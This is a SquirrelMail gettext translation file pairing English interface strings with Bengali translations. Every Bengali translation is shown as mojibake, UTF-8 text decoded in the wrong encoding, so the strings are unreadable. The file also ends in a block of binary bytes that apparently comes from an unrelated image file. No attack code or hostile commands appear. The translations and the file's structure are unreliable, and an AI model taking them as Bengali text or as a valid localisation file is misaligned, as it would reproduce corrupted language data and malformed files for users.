"āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻĒāĻĻā§āϧāϤāĻŋāϟāĻŋ āĻ…āĻ•ā§āώāĻŽāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻĒāύāĻžāϰ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ āĻ•āϰ⧁āύāĨ¤"

msgid "Translation Preferences"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāĻ¨ā§€ā§Ÿ āĻ…āύ⧁āĻŦāĻžāĻĻ"

msgid "Maximum of 25 kilobytes translated, powered by Systran"
msgstr ""
"āϏāĻ°ā§āĻŦāĻžāϧāĻŋāĻ• ⧍ā§Ģ āĻ•āĻŋāϞ⧋āĻŦāĻžāχāϟ āĻ…āύ⧁āĻŦāĻžāĻĻāĻ•ā§ƒāϤ, āϏ⧀āϏāĻŸā§āϰāĻžāύ (Systran) āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇āĨ¤"

msgid "No known limits, powered by GPLTrans (free, open source)"
msgstr ""
"āϜāĻžāύāĻžāĻŽāϤ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻāϏ⧀āĻŽāĻž āύ⧇āχāĨ¤ āĻ—ā§āύ⧁-āĻāϰ GPLTrans āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇ (āĻŦāĻŋāύāĻž āĻĒ⧟āϏāĻžā§Ÿ "
"āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ, āĻŦāĻŋāύāĻž āĻŦāĻžāϧāĻžā§Ÿ āĻŦāĻŋāϤāϰāĻŖ āĻ•āϰāĻž āϝāĻžā§Ÿ, āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āϕ⧇āϰ āĻ¸ā§āϤ⧋āĻ¤ā§āϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ)āĨ¤"

msgid "Transliterate unknown words:"
msgstr "āĻ…āϜāĻžāύāĻž āĻļāĻŦā§āĻĻāϗ⧁āϞ⧋ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰ⧁āύ:"

msgid "When composing:"
msgstr "āϞ⧇āĻ–āĻžāϰ āϏāĻŽā§Ÿ:"

msgid "Not yet functional, currently does nothing"
msgstr "āĻāĻ–āύ⧋ āĻ•āĻžāϜ āĻ•āϰ⧇ āύāĻž,āφāĻĒāĻžāϤāϤāσ āĻ•āĻŋāϛ⧁āχ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻž"

msgid "Update Address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ āĻ•āϰ⧁āύ"

msgid "Add to Address Book"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāĻ‡ā§Ÿā§‡ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Add Address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Address book is empty"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻ–āĻžāϞāĻŋ"

msgid "Edit Selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāĻĻ⧇āϰ āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "Compose to Selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāĻĻ⧇āϰ āĻāĻ•āĻ¤ā§āϰ⧇ āϞāĻŋāϖ⧁āύ"

msgid "Address book search"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "New attachment"
msgstr "āύāϤ⧁āύ āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋ"

msgid "Attach"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤ"

msgid "Max."
msgstr "āϏāĻ°ā§āĻŦā§‹āĻšā§āϚ"

msgid "Receipts"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ"

msgid "SquirrelMail notice messages"
msgstr "SquirrelMail āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ āĻŦāĻžāĻ°ā§āϤāĻžāϏāĻŽā§‚āĻš"

msgid "Category:"
msgstr "āĻŦāĻŋāĻ­āĻžāĻ—,āĻļā§āϰ⧇āύ⧀:"

msgid "Tip:"
msgstr "āϏ⧂āĻ¤ā§āϰ:"

msgid "More info:"
msgstr "āφāϰāĻ“ āϤāĻĨā§āϝ:"

msgid "No folders were found to unsubscribe from."
msgstr "āĻ…āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻšāϤ⧇ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "No folders were found to subscribe to."
msgstr "āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻšāϤ⧇ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "Message Flags"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĢā§āĻ˛ā§āϝāĻžāĻ—āϗ⧁āϞ⧋"

msgid "Attachment"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋ"

msgid "Click here to change the sorting of the message list"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āϤāĻžāϞāĻŋāĻ•āĻž āϏāĻžāϜāĻžāύ⧋ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰāϤ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύ"

msgid "Add/Edit"
msgstr "āϝ⧋āĻ—/āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "Rule Conditions"
msgstr "āύāĻŋ⧟āĻŽā§‡āϰ āĻļāĻ°ā§āϤāĻžāĻŦāϞ⧀"

msgid "Identifying Name"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻšāĻŋāϏāĻžāĻŦ⧇ āϝ⧇ āύāĻžāĻŽ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "To or cc"
msgstr "āĻĒā§āϰāϤāĻŋ āĻ…āĻĨāĻŦāĻž āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ"

msgid "Other"
msgstr "āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ"

msgid "Save Changes"
msgstr "āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "Requested"
msgstr "āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰāϛ⧇"

msgid "Send Read Receipt Now"
msgstr "āĻĒ⧜āĻžāϰ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋ āĻāĻ–āύāχ āĻĒāĻžāĻ āĻžāύ"

msgid "Viewing HTML formatted email"
msgstr "HTML āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇āϰ āχāĻŽā§‡āχāϞ āĻĻ⧇āĻ–āϛ⧇"

msgid "As Attachment"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋ āĻšāĻŋāϏ⧇āĻŦ⧇"

msgid "Move To"
msgstr "āĻāĻ–āĻžāύ⧇ āϏāϰāĻŋā§Ÿā§‡ āϰāĻžāϖ⧁āύ"

msgid "Delete &amp; Previous"
msgstr "āĻŽā§āϛ⧁āύ &amp; āĻĒā§‚āĻ°ā§āĻŦ⧇āϰ"

msgid ""
"Use your web browser's Print button or File -&gt; Print menu option to print "
"this email. Afterwards, you can close this browser window again to return to "
"SquirrelMail."
msgstr ""
"āĻāχ āχāĻŽā§‡āχāϞāϟāĻŋ āĻŽā§āĻĻā§āϰāĻŖ āĻ•āϰāϤ⧇ āφāĻĒāύāĻžāϰ āĻ“ā§Ÿā§‡āĻŦ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āĻŽā§āĻĻā§āϰāύ āĻŦā§‹āϤāĻžāĻŽ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ āĻŦāĻž āĻĢāĻžāχāϞ -"
"&gt; āĻŽā§āĻĻā§āϰāĻŖ āĻŽā§‡āύ⧁ āĻ…āĻĒāĻļāύāĨ¤ āĻāϰāĻĒāϰ, āφāĻĒāύāĻŋ āĻŦā§āϰāĻžāωāϜāĻžāϰ āωāχāĻ¨ā§āĻĄā§‹āϟāĻŋāϕ⧇ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ SquirrelMail āĻ āĻĢāĻŋāϰ⧇ "
"āϝ⧇āϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "and subfolders"
msgstr "āĻāĻŦāĻ‚ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋"

msgid "Exclude"
msgstr "āĻŦāĻžāϧāĻžāĻĻāĻžāύ"

msgid "Fold"
msgstr "āĻ­āĻžāρāϜ āĻ•āϰ⧁āύ"

msgid "Unfold"
msgstr "āĻ­āĻžāρāϜ āύāĻž āĻ•āϰ⧁āύ"

msgid "Forget"
msgstr "āĻ­ā§‚āϞ⧇ āϝāĻžāĻ“ā§ŸāĻž"

msgid "Email"
msgstr "āχāĻŽā§‡āχāϞ"

msgid "Additional Info"
msgstr "āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āϤāĻĨā§āϝ"

msgid "Folder List"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "Open all"
msgstr "āϏāĻŦ āϖ⧁āϞ⧁āύ"

msgid "Close all"
msgstr "āϏāĻŦ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ"

msgid "Purge trash"
msgstr "āĻŦāĻžāĻœā§‡ āϜāĻŋāύāĻŋāϏ āĻ…āĻĨāĻŦāĻž āϞ⧇āĻ–āĻž āĻŦāĻŋāĻļā§‹āϧāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "The SquirrelMail logo"
msgstr "SquirrelMail āϞ⧋āĻ—ā§‹"

msgid "OR"
msgstr "āĻ…āĻĨāĻŦāĻž"

msgid "Reset"
msgstr "āĻĒ⧁āύāϰāĻžā§Ÿ āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰ⧁āύ"

msgid "Reorder indexes"
msgstr "āĻĒ⧁āύāĻ°ā§āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāϤ āχāύāĻĄā§‡āĻ•ā§āϏ"

msgid "Add an index"
msgstr "āχāύāĻĄā§‡āĻ•ā§āϏ/āϏāĻžāϰāύ⧀āϤ⧇ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

#, php-format
msgid "%s from %s on %s"
msgstr "%3$s āϤ⧇ %2$s āĻšāϤ⧇ %1$s"

msgid "Expand Header"
msgstr "āĻļāĻŋāϰāĻ• āĻŦāĻ°ā§āϧāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "Collapse Header"
msgstr "āĻ­āĻžāϜ āĻ•āϰ⧇ āϗ⧁āϟāĻžāύ⧋ āĻļāĻŋāϰāĻ•"

msgid "Message Preview"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻžāĻ•āĻŦā§€āĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "Delivery error report"
msgstr "āĻŦāĻŋāϞāĻŋāĻŦāĻ¨ā§āϟāύ⧇āϰ āĻ¤ā§āϰ⧁āϟāĻŋāϰ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid "Undelivered Message Headers"
msgstr "āύāĻž-āĻĒāĻžāĻ āĻžāύ⧋ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻļāĻŋāϰāĻ•āϗ⧁āϞ⧋"

msgid "This image has been removed for security reasons"
msgstr "āύāĻŋāϰāĻžāĻĒāĻ¤ā§āϤāĻžāϰ āĻ•āĻžāϰāύ⧇ āĻ›āĻŦāĻŋāϟāĻŋ āϏāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞāĻž āĻšā§Ÿā§‡āϛ⧇"

#~ msgid "Draft Saved"
#~ msgstr "āĻ–āϏāĻĄāĻŧāĻžāϟāĻŋ āϏāĻ‚āϰāĻ•ā§āώāĻŖ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

#~ msgid "Some or all of the help documents are not present!"
#~ msgstr "āϏāĻšāĻžā§ŸāĻŋāĻ•āĻžāϰ āĻ•āĻŋāϛ⧁/āϕ⧋āύ āĻĢāĻžāχāϞ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž!"

#~ msgid "Add to Addressbook"
#~ msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻžā§Ÿ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

#~ msgid "Include CCs when Forwarding Messages"
#~ msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āφāĻŦāĻžāϰ āĻĒāĻžāĻ āĻžāύ⧋āϰ āϏāĻŽā§Ÿā§‡ āĻĒā§āϰāϤāĻŋāϞāĻŋāĻĒāĻŋāĻ“ āĻ•āϰāĻž āĻšāĻŦ⧇"

#~ msgid ""
#~ "FREE - ORDB was born when ORBS went off the air. It seems to have fewer "
#~ "false positives than ORBS did though."
#~ msgstr ""
#~ "āĻŦāĻŋāύāĻž āĻ–āϰāĻšā§‡ - ORBS āĻŦāĻ¨ā§āϧ āĻšā§Ÿā§‡ āϝāĻžāĻŦāĻžāϰ āĻĒāϰ ORDB āϚāĻžāϞ⧁ āĻšā§ŸāĨ¤ ORDB āϏāĻŽā§āĻ­āĻŦāϤāσ āϏāĻžāϧāĻžāϰāĻŖ āϚāĻŋāĻ āĻŋāϕ⧇ "
#~ "āωāĻĄāĻŧā§‹āϚāĻŋāĻ āĻŋ āĻŦāϞ⧇ āϭ⧁āϞ āĻ•āĻŽ āĻ•āϰ⧇āĨ¤"

#~ msgid "POP3 connect:"
#~ msgstr "POP3 āĻĻāĻŋā§Ÿā§‡ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰāĻž āĻšāĻšā§āϛ⧇:"

#~ msgid "POP3 user:"
#~ msgstr "POP3 āĻĄāĻžāĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ:"

#~ msgid "POP3 pass:"
#~ msgstr "POP3 āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ:"

#~ msgid "authentication failed "
#~ msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋ"

#~ msgid "POP3 apop:"
#~ msgstr "POP3 apop:"

#~ msgid "POP3 login:"
#~ msgstr "POP3 āϞāĻ—āχāύ:"

#~ msgid "POP3 top:"
#~ msgstr "POP3 āĻļā§€āĻ°ā§āώāĻŦāĻŋāĻ¨ā§āĻĻ⧁:"

#~ msgid "POP3 pop_list:"
#~ msgstr "POP3 (āĻĒāĻĒ_āϤāĻžāϞāĻŋāĻ•āĻž):"

#~ msgid "POP3 get:"
#~ msgstr "POP3 āĻĒāĻžāĻ“ā§ŸāĻž:"

#~ msgid "POP3 last:"
#~ msgstr "POP3 āĻļ⧇āώ:"

#~ msgid "POP3 reset:"
#~ msgstr "POP3 āĻĒ⧁āύāϰāĻžā§Ÿ āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰāĻž:"

#~ msgid "POP3 send_cmd:"
#~ msgstr "POP3 āφāĻĻ⧇āĻļ āĻĒāĻžāĻ āĻžāύ⧋: (_c)"

#~ msgid "POP3 quit:"
#~ msgstr "POP3 āĻ¸ā§āĻĨāĻžāύ āĻ¤ā§āϝāĻžāĻ—:"

#~ msgid "POP3 uidl:"
#~ msgstr "POP3 uidl:"

#~ msgid "POP3 delete:"
#~ msgstr "POP3 āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ:"

#~ msgid "Cute."
#~ msgstr "āĻ•ā§āώ⧁āϰāϧāĻžāϰ āĻŦ⧁āĻĻā§āϧāĻŋāϏāĻŽā§āĻĒāĻ¨ā§āύāĨ¤"

#~ msgid "not available"
#~ msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟"

#~ msgid "Save folder tree"
#~ msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϏāĻžāϰāĻŋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

#~ msgid "Exclude Criteria:"
#~ msgstr "āĻŦāĻžāĻĻ āĻĻā§‡ā§ŸāĻž āĻŦāĻŋāĻ­āĻžāĻ—:"

#~ msgid "Search Criteria"
#~ msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ⧇āϰ āύāĻŋ⧟āĻŽ"

#~ msgid "Hide SquirrelMail Header"
#~ msgstr "SquirrelMail āĻļāĻŋāϰāĻ• āϞ⧁āĻ•āĻŋā§Ÿā§‡ āĻĢ⧇āϞ⧁āύ"

#~ msgid "Search Mailing List Archives"
#~ msgstr "āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ āĻžāύ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ āĻ•āϰ⧁āύ"

#~ msgid "Search for words:"
#~ msgstr "āĻļāĻŦā§āĻĻāϗ⧁āϞ⧋āϰ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ:"

#~ msgid "Email addresses only"
#~ msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āχ-āĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž"

#~ msgid "Mailing list:"
#~ msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ āĻžāύ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž:"

#~ msgid "SquirrelMail users list"
#~ msgstr "SquirrelMail āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āϤāĻžāϞāĻŋāĻ•āĻž"

#~ msgid "SquirrelMail plugins list"
#~ msgstr "SquirrelMail āĻĒā§āϞāĻžāĻ—āχāύ āϤāĻžāϞāĻŋāĻ•āĻž"

#~ msgid "SquirrelMail developers list"
#~ msgstr "SquirrelMail āωāĻ¨ā§āύ⧟āĻŖāĻ•āĻžāϰ⧀āĻĻ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻž"

#~ msgid "SquirrelMail internationalization list"
#~ msgstr "SquirrelMail āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤ⧀āĻ•āĻ•āϰāĻŖ āϤāĻžāϞāĻŋāĻ•āĻž"

#~ msgid "Sort by:"
#~ msgstr "āϝ⧇ āĻ…āύ⧁āϏāĻžāϰ⧇ āϏāĻžāϜāĻžāύ⧋:"

#~ msgid "Search Archives"
#~ msgstr "āϏāĻ‚āϰāĻ•ā§āώāύ⧇āϰ āĻ¸ā§āĻĨāĻžāύ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

#~ msgid "Reset Form"
#~ msgstr "āĻĒ⧁āύāĻ—āĻ āύ āϰ⧁āĻĒāϰ⧇āĻ–āĻž"
ß yôĘáŊ~ŒorĀ5ÖJ™={ūÁEĮęežuįŖQkŽ•á¯˜G{÷?ųģã+—]üôįƒÉÍ×ןô?wûM3X^ļÚæ­Œ>{´7Ųžė´Kã>čo˛ÎnŨ\˙ĒĘjŋyˇđR Ŗõãg/î=Ū˙fúOįÖrˇo×NVĘvŋú~˙Y+üŋNGęu÷øˇÃŽ›ūëšHWŠûyëwÆ[eQļʨžSÚb­Ö>öÍËĮūŗ>ä}Gįmx[o[<ŪÚ{đũŸĪŽ_ÅīqF– ÚÛvMIENDŽB`‚